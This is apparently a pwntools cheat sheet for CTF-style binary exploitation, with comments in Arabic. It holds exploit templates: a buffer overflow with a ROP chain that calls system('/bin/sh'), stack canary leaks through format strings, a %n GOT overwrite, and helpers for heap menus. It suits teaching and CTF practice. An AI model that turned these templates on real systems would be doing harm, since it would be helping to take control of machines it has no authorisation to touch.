from pwn import *

# ضبط سياق العمل: المعمارية، نظام التشغيل، ومستوى السجلات
context.update(arch='amd64', os='linux', log_level='info')

# الاتصال بخادم بعيد (Remote)
io = remote('chal.example.com', 1337)

# التشغيل محلياً (Local)
io = process('./vuln')

# الربط مع gdb (يفضل استخدامه داخل tmux)
io = process('./vuln'); gdb.attach(io, '''
b *main+50
c
''')

# التفاعل مع الدخل/الخرج (send / recv)
io.sendline(b'AAAA')
data = io.recv(1024)
data = io.recvline()
data = io.recvuntil(b'>')
io.sendlineafter(b'>', payload)
io.interactive()              # الانتقال للوضع اليدوي التفاعلي

from pwn import *

context(arch='amd64', os='linux', log_level='debug')
e = ELF('./vuln')
io = process('./vuln')

# 1. تحديد الإزاحة إلى مسجل RIP عبر نمط cyclic
# io.sendline(cyclic(200)); core = io.corefile  # ثم cyclic_find(core.fault_addr)
offset = 72

# 2. بناء ROP: البحث عن الأدوات (Gadgets) عبر ROPper أو pwntools
rop = ROP(e)
rop.raw(rop.find_gadget(['ret']))     # محاذاة المكدس (Stack alignment)
rop.system(next(e.search(b'/bin/sh')))

payload = b'A' * offset + rop.chain()

io.sendline(payload)
io.interactive()

# حساب المؤشر وتسريب الـ Canary
io.sendline(f"%{idx}$lx".encode())
canary = int(io.recvline().strip(), 16)

# الكتابة في عنوان عشوائي باستخدام %n
fmt = fmtstr_payload(offset=6, writes={got['exit']: shellcode_addr})
io.sendline(fmt)

def malloc(size, data=b''):
    io.sendlineafter(b'> ', b'1')
    io.sendlineafter(b'size?', str(size).encode())
    io.sendafter(b'data?', data)

def free(idx):
    io.sendlineafter(b'> ', b'2')
    io.sendlineafter(b'idx?', str(idx).encode())

io = remote('host', 1337)
io = ssh('user', 'host', password='pwn').process('./vuln')
io = listen(1337)         # التنصت على منفذ (لعمليات الـ Callbacks)
io = serial('/dev/ttyUSB0') # الاتصال عبر المنفذ التسلسلي

# أنماط الاستقبال
io.recv(timeout=2)
io.recvline_contains(b'flag')
io.recvuntil(b'>')
io.send(b'...')
io.close()